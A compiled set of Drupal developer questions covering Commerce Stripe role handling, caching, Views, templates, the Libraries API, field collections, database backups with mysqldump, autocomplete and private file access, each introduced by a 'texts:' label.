I'm using Commerce Stripe to process payments.  I want to remove a role from a user ("needs to add new card" role) when the user adds a new payment method (credit card via Stripe) on the payment method page (user/UID/payment-methods).
I assume I need to write an event subscriber, but I don't know which event to use for adding a payment method.
I tried to read through the code in commerce/modules/payment/src/EventSubscriber, but I couldn't find the event I need to hook into to remove the role.
Background
When a user's credit card has expired, they need to add a new card (add a new payment method).  In this case, I have flagged the users with a role, Add new card role.
Then I show a block to users with the Add new card role that says "Please update your card info." with a link to add a card.
However, when the user adds a new card, they still see the block asking them to add a new card, which is confusing.  So I want to immediately remove the Add new card role (to hide the block) as soon as the user adds a new card.


texts:
Why is it that node_delete (which calls node_delete_multiple) empties all node cache even though it has the list of specific nids?

I have 200K+ records, all of which I would like to cache pre-emptively by entitycache module + Drush Entity Cache Loader (ECL). This is (obv) an expensive operation - but deleting even one node empties entire cache.

I realize that I can simply modify entitycache module to do exactly what I want - but I am just wondering about the rationale behind emptying entire cache.


texts:
In my Drupal 7 project I have users of role A and B respectively. Users of role A can create content and users of role B can flag it.

I'm building a view that displays on A users' account page their content and names of B users who flaggd it.

I have created a view Content (not User) and added relationship Flags: Content flag and consequently field Flags: User uid to display together with content related fields.

In view block I use Grid format. Same content information is displayed several times per each user who flagged it, like  bellow

Content title QWERTY
Users uid  who flagged 1

Content title QWERTY
Users uid who flagged 2

Content title QWERTY
Users uid  who flagged 3

How can I display content information only once and users who flagged in one field separated by comma?


texts: Why when doing a template, save stops working?

texts:
In the website I'm building I have to develop a template of the editing page for a certain content type (I did it in page--contentType.tpl.php (in my case page--movilidad.tpl.php).

It was a bit hard but after all (I had to rearrange all fields so I had to print field by field and so), I could manage to print all the fields needed and now looks exactly as I wanted but.... The save button to apply the changes (also the delete one) of the content type that we modify, does not work xD.

I'm quite amazed because I don't get why doing the following does not work

print render($page['content']['system_main']['actions']);

but for example, printing a block works fine as it should...

print render($page['content']['block_47']);

and the first ($page['content']['system_main']['actions']), shows exactly as it should, but it doesn't do any when I press the Save button. But when doing

print render($page['content']);

Shows all that should show in the page and it works fine.

What I am missing? I probably have a concept error because I can't see why is not working.


texts:
I'm writing a module that will call some external php libraries. When I was searching for a way to import the library I found the Libraries API. After reading some documentation about the module and core features I found some example code.

When I implement it in my module nothing happens.
My movies.module file contains:

/**
* Implements hook_libraries_info()
**/
function movies_libraries_info()
{

  // This array key lets Libraries API search for 'sites/all/libraries/example'
  // directory, which should contain the entire, original extracted library.
  $libraries['imdb'] = array(
    // Only used in administrative UI of Libraries API.
    'name' => 'imdb',
    'vendor url' => 'https://github.com/tboothman/imdbphp',
    'download url' => 'https://github.com/tboothman/imdbphp/releases',
     // Default list of files of the library to load. Important: Only specify
    // third-party files belonging to the library here, not integration files of
    // your module.
    'files' => array(
      // For PHP libraries, specify include files here, still relative to the
      // library path.
      'php' => array(
        'bootstrap.php',
      ),
    ),
    // Optional: Register files to auto-load for your module. All files must be
    // keyed by module, and follow the syntax of the 'files' property.
    'integration files' => array(
      'movies' => array(
        'php' => array('bootstrap.php'),
      ),
    ),
  );
  return $libraries;
}

No errors are thrown when enabling my module when the library is not installed.

How can my module load the external PHP library using the Libraries APi?


texts: How to let administrators AND anonymous users create new accounts?

texts: I need to let anonymous users create his/her own accounts. But also I wish to create accounts when logged in as administrator. Is it possible such configuration? In admin/config/people/accounts is not possible, it just let you choose between exclusive options...


texts: View | So taxonomy terms plus some links associated with current taxonomy page

texts:
I have made a view that show taxonomy terms. What i want is show Taxonomy terms plus some content with.
ex.
I have Auto Manufactures like

Auto>
     Audi[taxonomy term :taxonomy/term/1]
     Renault[taxonomy term :taxonomy/term/2]
     Mazda[taxonomy term :taxonomy/term/3]
     [AllNon][content node/1 has field taxonomy ->selected:auto]

How i can make a view that shows taxonomy terms and include some content links.
The content links is pages that use a taxonomy field.


texts:
I have a list of terms all with assigned URLs already.
When I change the term and the URL, it is not updating.

I feel like there's a cache or reindexing needed ?


texts: Update field collection programatically - backend different to frontend

texts:
I know there are other questions similar to this, but I'm having a specific problem. I'm trying to programmatically update a field collection (from it's fid only). This appears to work when printing out the values on the frontend, but when editing the node that the field collection is attached to, the fields within the collection are empty, but the collection itself is there.

// Unset and start afresh
unset($node->field_composition[LANGUAGE_NONE]);

foreach($fids as $fid){
  $comp = entity_load_single('field_collection_item', array($fid));
  $comp->field_chemical[LANGUAGE_NONE][0]['target_id'] = $id; // These values are derived elsewhere and are correct
  $comp->field_weight[LANGUAGE_NONE][0]['value'] = $value; // These values are derived elsewhere and are correct
  $comp->save(TRUE);
  $node->field_composition[LANGUAGE_NONE][] = array('value' => $comp->item_id);
}

node_save($node);

I assume the problem is to do with revisions - as the data is correctly saved somewhere - else it wouldn't appear on the front end. How to solve this?


texts: Alter values available in node reference field based on term reference

texts:
I have a content type structure as mentioned below,

Content Type

Field Collection

Term Reference
Node Reference
Text Field

What I want to accomplish is, As I select the Term Reference value; the available values in node reference field with auto complete widget should only be of those nodes that have the term reference value assigned.

FYI The field collection will have multiple values.


texts: Diferences between "mysqldump" and "backup and migrate module"

texts:
I always make backup using "backup and migrate" module. But now, need to automate this process using scripts.

When execute backup using "backup and migrate" this module generate .mysql file with approximately 3.3 MB(compacted) and 9MB(uncompacted) , but using the following script command, file have 17MB(compacted) and 53MB+(uncompacted) and .sql extension.

mysqldump -u user_mysql -pMY_PASS  --databases my_database | gzip > /home/my_user/my_docs/database.sql.gz

How generate ".mysql" extension file using  "mysqldump"?


texts:
I am using autocomplete from drupal so that users can be guided into finding what they are looking for. For an even better user experience it would be great if autocomplete is returning the results in a listbox. I just started to learn drupal programming (and loving it :) ) but I can't find anything on this particular question.

At this moment when I start typing in a textarea, drupal will show a selection of approx. matches in a pulldown list. How do I get those matches in a html listbox?

I am using the code below for autocompletion

/**
* autocomplete helper
* $string = string for search
*/
function _complete_autocomplete($string) {
  $matches = array();
  $result = db_select('notebooks', 'c')
    ->fields('c', array('product'))
    ->condition('product', '%' . db_like($string) . '%', 'LIKE')
->range(0, 10)
    ->execute();

  // save the query to matches
  foreach ($result as $row) {
    $matches[$row->product] = check_plain($row->product);
  }
  // Return the result to the form in json
  drupal_json_output($matches);
}


texts: How to restore private file structure after major version update?

texts:
After a Drupal 6 to 7 update we are unable to use private image download, symptom is we cannot access private files via system/files, while public files can be loaded.

Trying to download private file results in a 404 -- Not found error, sent from the web-server directly, not drupal. After some changes to the configuration this results instead in a Drupal Error page. The server log says

File does not exist: /home/licebase/drupal/system/files/genefinding_diagram_1_2.png, referer: https://myhost/node/761470/edit?render=overlay

The system file exists and has the correct permissions.

Centos 6 on virtualization host, PHP 5.3.3, Postgres 8.4 on dedicated DB server, Apache 2.2.15 (centos) + a lot of active modules + fields+cck


texts: Commerce product price based on selected value of Webform component

texts:
I am using: Drupal: 7-4.1 Webform: 7.x-4.12 Webform Commerce intg: 7.x-2.0 Beta1 Commerce 7.x 1.11

I have created a Commerce Webform to order commerce products. I am trying to set a rule in "Product pricing rules" where:

If the user chooses a specific value in a Webform component, I would like to increase the price of the product chosen.

  Example: I have a webform that shows 3 table products, if the user
  choses table 1, of which the base price is 20 GBP, the next step in
  the form is for the user to chose if they want it installed by an
  expert, if the users choses Yes, I would like that the base price
  changes to 40 GBP.

I would like someone to help me setup a rule to make the product price change based on the webform component value. The new price should be seen at the webform preview (before submission) or if that is not possible, then when the product reaches the cart.